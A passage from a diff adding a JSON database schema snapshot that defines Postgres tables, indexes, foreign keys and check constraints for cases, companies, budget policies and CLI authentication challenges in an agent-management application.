true, + "nulls": "last" + }, + { + "expression": "scope_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "metric", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "window_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "budget_policies_company_id_companies_id_fk": { + "name": "budget_policies_company_id_companies_id_fk", + "tableFrom": "budget_policies", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.built_in_managed_resources": { + "name": "built_in_managed_resources", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "bundle_key": { + "name": "bundle_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resource_kind": { + "name": "resource_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resource_key": { + "name": "resource_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resource_id": { + "name": "resource_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "stock_version": { + "name": "stock_version", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stock_hash": { + "name": "stock_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "defaults_json": { + "name": "defaults_json", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "built_in_managed_resources_company_idx": { + "name": "built_in_managed_resources_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "built_in_managed_resources_resource_idx": { + "name": "built_in_managed_resources_resource_idx", + "columns": [ + { + "expression": "resource_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "built_in_managed_resources_company_bundle_resource_uq": { + "name": "built_in_managed_resources_company_bundle_resource_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "bundle_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "built_in_managed_resources_company_id_companies_id_fk": { + "name": "built_in_managed_resources_company_id_companies_id_fk", + "tableFrom": "built_in_managed_resources", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.case_attachments": { + "name": "case_attachments", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "asset_id": { + "name": "asset_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "case_attachments_company_case_idx": { + "name": "case_attachments_company_case_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "case_attachments_asset_uq": { + "name": "case_attachments_asset_uq", + "columns": [ + { + "expression": "asset_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "case_attachments_company_id_companies_id_fk": { + "name": "case_attachments_company_id_companies_id_fk", + "tableFrom": "case_attachments", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "case_attachments_case_id_cases_id_fk": { + "name": "case_attachments_case_id_cases_id_fk", + "tableFrom": "case_attachments", + "columnsFrom": [ + "case_id" + ], + "tableTo": "cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "case_attachments_asset_id_assets_id_fk": { + "name": "case_attachments_asset_id_assets_id_fk", + "tableFrom": "case_attachments", + "columnsFrom": [ + "asset_id" + ], + "tableTo": "assets", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.case_documents": { + "name": "case_documents", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "document_id": { + "name": "document_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "case_documents_company_case_key_uq": { + "name": "case_documents_company_case_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "case_documents_document_uq": { + "name": "case_documents_document_uq", + "columns": [ + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "case_documents_company_case_updated_idx": { + "name": "case_documents_company_case_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "case_documents_company_id_companies_id_fk": { + "name": "case_documents_company_id_companies_id_fk", + "tableFrom": "case_documents", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "case_documents_case_id_cases_id_fk": { + "name": "case_documents_case_id_cases_id_fk", + "tableFrom": "case_documents", + "columnsFrom": [ + "case_id" + ], + "tableTo": "cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "case_documents_document_id_documents_id_fk": { + "name": "case_documents_document_id_documents_id_fk", + "tableFrom": "case_documents", + "columnsFrom": [ + "document_id" + ], + "tableTo": "documents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.case_events": { + "name": "case_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "actor_type": { + "name": "actor_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "actor_user_id": { + "name": "actor_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "actor_agent_id": { + "name": "actor_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "case_events_case_created_idx": { + "name": "case_events_case_created_idx", + "columns": [ + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "case_events_company_case_idx": { + "name": "case_events_company_case_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "case_events_company_id_companies_id_fk": { + "name": "case_events_company_id_companies_id_fk", + "tableFrom": "case_events", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "case_events_case_id_cases_id_fk": { + "name": "case_events_case_id_cases_id_fk", + "tableFrom": "case_events", + "columnsFrom": [ + "case_id" + ], + "tableTo": "cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "case_events_actor_agent_id_agents_id_fk": { + "name": "case_events_actor_agent_id_agents_id_fk", + "tableFrom": "case_events", + "columnsFrom": [ + "actor_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "case_events_kind_check": { + "name": "case_events_kind_check", + "value": "\"case_events\".\"kind\" in (\n 'created',\n 'updated',\n 'fields_changed',\n 'status_changed',\n 'issue_linked',\n 'issue_unlinked',\n 'document_revised',\n 'child_linked',\n 'attachment_added',\n 'label_added',\n 'label_removed'\n )" + }, + "case_events_actor_type_check": { + "name": "case_events_actor_type_check", + "value": "\"case_events\".\"actor_type\" in ('user', 'agent', 'system')" + } + }, + "isRLSEnabled": false + }, + "public.case_issue_links": { + "name": "case_issue_links", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by_run_id": { + "name": "created_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "case_issue_links_case_issue_uq": { + "name": "case_issue_links_case_issue_uq", + "columns": [ + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "case_issue_links_company_case_idx": { + "name": "case_issue_links_company_case_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "case_issue_links_issue_idx": { + "name": "case_issue_links_issue_idx", + "columns": [ + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "case_issue_links_company_id_companies_id_fk": { + "name": "case_issue_links_company_id_companies_id_fk", + "tableFrom": "case_issue_links", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "case_issue_links_case_id_cases_id_fk": { + "name": "case_issue_links_case_id_cases_id_fk", + "tableFrom": "case_issue_links", + "columnsFrom": [ + "case_id" + ], + "tableTo": "cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "case_issue_links_issue_id_issues_id_fk": { + "name": "case_issue_links_issue_id_issues_id_fk", + "tableFrom": "case_issue_links", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "case_issue_links_role_check": { + "name": "case_issue_links_role_check", + "value": "\"case_issue_links\".\"role\" in ('origin', 'work', 'reference')" + } + }, + "isRLSEnabled": false + }, + "public.case_labels": { + "name": "case_labels", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "label_id": { + "name": "label_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "case_labels_case_label_uq": { + "name": "case_labels_case_label_uq", + "columns": [ + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "label_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "case_labels_company_case_idx": { + "name": "case_labels_company_case_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "case_labels_label_idx": { + "name": "case_labels_label_idx", + "columns": [ + { + "expression": "label_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "case_labels_company_id_companies_id_fk": { + "name": "case_labels_company_id_companies_id_fk", + "tableFrom": "case_labels", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "case_labels_case_id_cases_id_fk": { + "name": "case_labels_case_id_cases_id_fk", + "tableFrom": "case_labels", + "columnsFrom": [ + "case_id" + ], + "tableTo": "cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "case_labels_label_id_labels_id_fk": { + "name": "case_labels_label_id_labels_id_fk", + "tableFrom": "case_labels", + "columnsFrom": [ + "label_id" + ], + "tableTo": "labels", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.cases": { + "name": "cases", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "case_number": { + "name": "case_number", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "identifier": { + "name": "identifier", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "case_type": { + "name": "case_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "summary": { + "name": "summary", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'draft'" + }, + "fields": { + "name": "fields", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "parent_case_id": { + "name": "parent_case_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "cases_company_case_number_uq": { + "name": "cases_company_case_number_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_number", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "cases_identifier_uq": { + "name": "cases_identifier_uq", + "columns": [ + { + "expression": "identifier", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "cases_company_type_key_uq": { + "name": "cases_company_type_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "cases_company_status_idx": { + "name": "cases_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "cases_company_type_idx": { + "name": "cases_company_type_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "cases_company_project_idx": { + "name": "cases_company_project_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "cases_parent_idx": { + "name": "cases_parent_idx", + "columns": [ + { + "expression": "parent_case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "cases_title_search_idx": { + "name": "cases_title_search_idx", + "columns": [ + { + "expression": "title", + "isExpression": false, + "asc": true, + "nulls": "last", + "opclass": "gin_trgm_ops" + } + ], + "isUnique": false, + "with": {}, + "method": "gin", + "concurrently": false + }, + "cases_identifier_search_idx": { + "name": "cases_identifier_search_idx", + "columns": [ + { + "expression": "identifier", + "isExpression": false, + "asc": true, + "nulls": "last", + "opclass": "gin_trgm_ops" + } + ], + "isUnique": false, + "with": {}, + "method": "gin", + "concurrently": false + }, + "cases_summary_search_idx": { + "name": "cases_summary_search_idx", + "columns": [ + { + "expression": "summary", + "isExpression": false, + "asc": true, + "nulls": "last", + "opclass": "gin_trgm_ops" + } + ], + "isUnique": false, + "with": {}, + "method": "gin", + "concurrently": false + } + }, + "foreignKeys": { + "cases_company_id_companies_id_fk": { + "name": "cases_company_id_companies_id_fk", + "tableFrom": "cases", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "cases_project_id_projects_id_fk": { + "name": "cases_project_id_projects_id_fk", + "tableFrom": "cases", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "cases_parent_case_id_cases_id_fk": { + "name": "cases_parent_case_id_cases_id_fk", + "tableFrom": "cases", + "columnsFrom": [ + "parent_case_id" + ], + "tableTo": "cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "cases_created_by_agent_id_agents_id_fk": { + "name": "cases_created_by_agent_id_agents_id_fk", + "tableFrom": "cases", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "cases_status_check": { + "name": "cases_status_check", + "value": "\"cases\".\"status\" in ('draft', 'in_progress', 'in_review', 'approved', 'done', 'cancelled')" + } + }, + "isRLSEnabled": false + }, + "public.cli_auth_challenges": { + "name": "cli_auth_challenges", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "secret_hash": { + "name": "secret_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "command": { + "name": "command", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "client_name": { + "name": "client_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "requested_access": { + "name": "requested_access", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'board'" + }, + "requested_company_id": { + "name": "requested_company_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "pending_key_hash": { + "name": "pending_key_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pending_key_name": { + "name": "pending_key_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "approved_by_user_id": { + "name": "approved_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "board_api_key_id": { + "name": "board_api_key_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "approved_at": { + "name": "approved_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "cancelled_at": { + "name": "cancelled_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "cli_auth_challenges_secret_hash_idx": { + "name": "cli_auth_challenges_secret_hash_idx", + "columns": [ + { + "expression": "secret_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "cli_auth_challenges_approved_by_idx": { + "name": "cli_auth_challenges_approved_by_idx", + "columns": [ + { + "expression": "approved_by_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "cli_auth_challenges_requested_company_idx": { + "name": "cli_auth_challenges_requested_company_idx", + "columns": [ + { + "expression": "requested_company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "cli_auth_challenges_requested_company_id_companies_id_fk": { + "name": "cli_auth_challenges_requested_company_id_companies_id_fk", + "tableFrom": "cli_auth_challenges", + "columnsFrom": [ + "requested_company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "cli_auth_challenges_approved_by_user_id_user_id_fk": { + "name": "cli_auth_challenges_approved_by_user_id_user_id_fk", + "tableFrom": "cli_auth_challenges", + "columnsFrom": [ + "approved_by_user_id" + ], + "tableTo": "user", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk": { + "name": "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk", + "tableFrom": "cli_auth_challenges", + "columnsFrom": [ + "board_api_key_id" + ], + "tableTo": "board_api_keys", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.companies": { + "name": "companies", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "pause_reason": { + "name": "pause_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "paused_at": { + "name": "paused_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "issue_prefix": { + "name": "issue_prefix", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'PAP'" + }, + "issue_counter": { + "name": "issue_counter", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "budget_monthly_cents": { + "name": "budget_monthly_cents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "spent_monthly_cents": { + "name": "spent_monthly_cents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "default_responsible_user_id": { + "name": "default_responsible_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "require_board_approval_for_new_agents": { + "name": "require_board_approval_for_new_agents", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "interaction_resolver_governance": { + "name": "interaction_resolver_governance", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "feedback_data_sharing_enabled": { + "name": "feedback_data_sharing_enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "feedback_data_sharing_consent_at": { + "name": "feedback_data_sharing_consent_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "feedback_data_sharing_consent_by_user_id": { + "name": "feedback_data_sharing_consent_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "feedback_data_sharing_terms_version": { + "name": "feedback_data_sharing_terms_version", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "companies_issue_prefix_idx": { + "name": "companies_issue_prefix_idx", + "columns": [ + { + "expression": "issue_prefix", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_logos": { + "name": "company_logos", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "asset_id": { + "name": "asset_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": 